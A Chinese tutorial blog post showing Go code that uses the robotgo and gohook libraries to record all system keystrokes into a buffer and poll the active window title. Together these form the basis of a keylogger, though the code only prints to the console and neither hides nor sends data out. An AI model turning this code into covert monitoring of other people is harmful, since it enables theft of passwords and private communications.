基于robotgo实现键盘监听和当前活动窗口标题

导读:本篇文章讲解 基于robotgo实现键盘监听和当前活动窗口标题,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com

基于robotgo实现键盘监听

/*
 * @Description:
 * @Version: 2.0
 * @Autor: solid
 * @Date: 2021-10-17 14:05:55 +0800
 * @LastEditors: solid
 * @LastEditTime: 2021-12-11 21:16:20 +0800
 */
package main

import (
	"fmt"
	"time"

	"github.com/go-vgo/robotgo"
	hook "github.com/robotn/gohook"
)

var keys_low = map[uint16]string{
	8:   "[Back]",
	9:   "[Tab]",
	10:  "[Shift]",
	13:  "[Enter]",
	16:  "",
	17:  "[Ctrl]",
	18:  "[Alt]",
	19:  "",
	20:  "[CAPS LOCK]", //CAPS LOCK
	27:  "[Esc]",
	32:  " ", //SPACE
	33:  "[PageUp]",
	34:  "[PageDown]",
	35:  "[End]",
	36:  "[Home]",
	37:  "[Left]",
	38:  "[Up]",
	39:  "[Right]",
	40:  "[Down]",
	41:  "[Select]",
	42:  "[Print]",
	43:  "[Execute]",
	44:  "[PrintScreen]",
	45:  "[Insert]",
	46:  "[Delete]",
	47:  "[Help]",
	91:  "[Windows]",
	92:  "[Windows]",
	93:  "[Applications]",
	95:  "[Sleep]",
	108: "[Separator]",
	111: "[Divide]",
	112: "[F1]",
	113: "[F2]",
	114: "[F3]",
	115: "[F4]",
	116: "[F5]",
	117: "[F6]",
	118: "[F7]",
	119: "[F8]",
	120: "[F9]",
	121: "[F10]",
	122: "[F11]",
	123: "[F12]",
	144: "[NumLock]",
	145: "[ScrollLock]",
	160: "[LShift]", //LShift
	161: "[RShift]", //RShift
	162: "[Ctrl]",
	163: "[Ctrl]",
	164: "[Alt]", //LeftMenu
	165: "[RightMenu]",
}
var specialCharacters = map[rune]string{
	27: "[Esc]",
	13: "[Enter]",
	8:  "[Back]",
	9:  "[Tab]",
	32: " ",
}
var buffer = ""

func ListenKeylogger() {
	robotgo.EventHook(hook.KeyDown, []string{}, func(ev hook.Event) {
		if _, ok := specialCharacters[ev.Keychar]; !ok {
			buffer += string(ev.Keychar)
		}
	})
	robotgo.EventHook(hook.KeyHold, []string{}, func(ev hook.Event) {
		if v, ok := keys_low[ev.Rawcode]; ok {
			buffer += v
		}
	})
	s := robotgo.EventStart()
	<-robotgo.EventProcess(s)
}

func main() {
	go func() {
		for {
			fmt.Println(buffer)
			time.Sleep(5 * time.Second)
		}
	}()
	ListenKeylogger()
}

在这里插入图片描述

获取当前活动窗口标题

package main
import (
	"fmt"
	"time"

	"github.com/axgle/mahonia"
	"github.com/go-vgo/robotgo"
	hook "github.com/robotn/gohook"
)
func main(){
	var enc = mahonia.NewDecoder("gbk")
	for {
		fmt.Println(enc.ConvertString(robotgo.GetTitle()))
		time.Sleep(5 * time.Second)
	}
}

在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/61526.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!